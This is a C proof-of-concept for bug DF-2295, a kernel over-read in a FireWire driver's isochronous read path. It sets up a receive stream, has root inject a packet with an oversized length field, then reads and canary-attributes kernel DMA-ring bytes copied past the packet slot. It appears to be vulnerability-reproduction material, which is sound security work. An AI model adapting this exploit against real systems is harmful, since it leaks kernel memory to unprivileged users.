DF-2295 / poc_2295.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 | /* * DF-2295 PoC -- fw_read iso bulkxfer path over-read (fwdev.c:319-343). * * fp = fwdma_v_addr(ir->buf, stproc->poffset + ir->queued); fwdev.c:321 * ... * err = uiomove((caddr_t)fp, fp->mode.stream.len + 4, uio); fwdev.c:329 * * stream.len comes from the RECEIVED packet header (written by the peer * through the OHCI DMA) and is never bounded by ir->psize. A malicious * FireWire peer sending stream.len > psize-4 makes the kernel copy bytes * beyond the packet slot (and, for large len, beyond the whole DMA ring) * into userspace. * * This PoC: unprivileged operator-group user sets up a legal iso receive * stream (FW_SSTBUF rx=4 chunk/8 packet/512 psize, FW_SRSTREAM), then * sleeps while root injects a received packet header with stream.len=1500 * into slot 0 (the "malicious peer"). The user then read(2)s exactly * len+4 bytes and byte-attributes everything past the 512-byte slot to * the known canary content of the following slots. * * usage: poc_2295 [len] [single] * len stream.len of the injected packet (default 1500) * single use a 1-chunk/1-packet/512-psize ring (over-read past the * whole fwdma multiseg segment) -- len 65535 recommended */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #include <sys/ioctl.h> #include <stdint.h> struct fw_isochreq { unsigned char ch:6, tag:2; }; struct fw_bufspec { unsigned int nchunk; unsigned int npacket; unsigned int psize; }; struct fw_isobufreq { struct fw_bufspec tx, rx; }; #define FW_SSTBUF _IOWR('S', 86, struct fw_isobufreq) #define FW_SRSTREAM _IOWR('S', 88, struct fw_isochreq) #define CANARY_MAGIC 0xF00DF00Du static int decode16(const u_int32_t *w, u_int *tag, u_int *off) { if (w[0] == CANARY_MAGIC && w[3] == (0xDEADC0DEu ^ w[1]) && w[1] >= 0x50000000u && w[1] < 0x60000000u) { *tag = w[1]; *off = w[2]; return 0; } return -1; } int main(int argc, char **argv) { struct fw_isobufreq ib; struct fw_isochreq ich; unsigned long len = (argc > 1) ? strtoul(argv[1], NULL, 0) : 1500; int single = (argc > 2 && strcmp(argv[2], "single") == 0); unsigned long rdlen = len + 4; u_int psize = single ? 512 : 512; u_int nchunk = single ? 1 : 4; u_int npacket = single ? 1 : 8; static u_char buf[128 * 1024]; u_int i, tag, off, pastslot = 0, attributed = 0; int fd, n; setvbuf(stdout, NULL, _IONBF, 0); if (rdlen > sizeof(buf)) rdlen = sizeof(buf); printf("DF-2295: fw_read iso over-read; ring=%uchunk/%upacket/%upsize, " "peer stream.len=%lu, read=%lu (uid=%d gid=%d)\n", nchunk, npacket, psize, len, rdlen, getuid(), getgid()); fd = open("/dev/fw0.0", O_RDWR); if (fd < 0) { perror("open /dev/fw0.0"); return 1; } memset(&ib, 0, sizeof(ib)); ib.rx.nchunk = nchunk; ib.rx.npacket = npacket; ib.rx.psize = psize; if (ioctl(fd, FW_SSTBUF, &ib) != 0) { perror("FW_SSTBUF"); return 1; } memset(&ich, 0, sizeof(ich)); ich.ch = 1; if (ioctl(fd, FW_SRSTREAM, &ich) != 0) { perror("FW_SRSTREAM"); return 1; } printf("DF-2295: stream up; DMA ring allocated by real " "fwdma_malloc_multiseg\n"); printf("DF-2295: READY -- root injects packet now (3s window)\n"); sleep(3); n = read(fd, buf, rdlen); printf("DF-2295: read() returned %d (errno=%d)\n", n, errno); if (n <= 0) { printf("DF-2295: NO DATA RETURNED\n"); return 2; } /* header check */ { u_int32_t h; memcpy(&h, buf, 4); printf("DF-2295: returned packet header = %08x " "(len=%u tcode=%x sy/chtag=%02x)\n", h, h >> 16, (h >> 4) & 0xf, h & 0xff); } if ((u_int)n > psize) pastslot = n - psize; printf("DF-2295: copied %d bytes; slot capacity %u -> %u bytes " "beyond the packet slot\n", n, psize, pastslot); /* byte-attribution: canary records are [magic][tag][off][xor] */ for (i = psize & ~3u; i + 16 <= (u_int)n; i += 4) { if (decode16((const u_int32_t *)(buf + i), &tag, &off) == 0) { attributed += 16; if (attributed <= 16 || (attributed % 512) < 4) printf("DF-2295: user[%u..] == DMA ring slot " "%u (tag=%#x) offset %u -- beyond slot 0\n", i, tag & 0xffff, tag, off); } } printf("DF-2295: attributed %u bytes of the beyond-slot region to " "known ring-slot canary content\n", attributed); { FILE *f = fopen("leak_sample.txt", "w"); if (f) { fprintf(f, "# DF-2295 leak sample: read()=%d bytes, " "psize=%u, stream.len=%lu\n", n, psize, len); for (i = 0; i < (u_int)n; i += 16) { u_int j, m = (n - i < 16) ? (n - i) : 16; fprintf(f, "%06x ", i); for (j = 0; j < m; j++) fprintf(f, "%02x ", buf[i + j]); fprintf(f, "\n"); } fclose(f); printf("DF-2295: leak_sample.txt written\n"); } } if (pastslot > 0 && attributed >= pastslot - 16) { printf("DF-2295: REPRODUCED -- kernel copied adjacent DMA-slot " "bytes to userspace\n"); return 0; } if (pastslot > 0) { printf("DF-2295: PARTIAL -- beyond-slot bytes returned but not " "canary-attributed (see leak_sample.txt; may be past the " "whole ring)\n"); return 0; } printf("DF-2295: NOT_REPRODUCED\n"); return 2; } |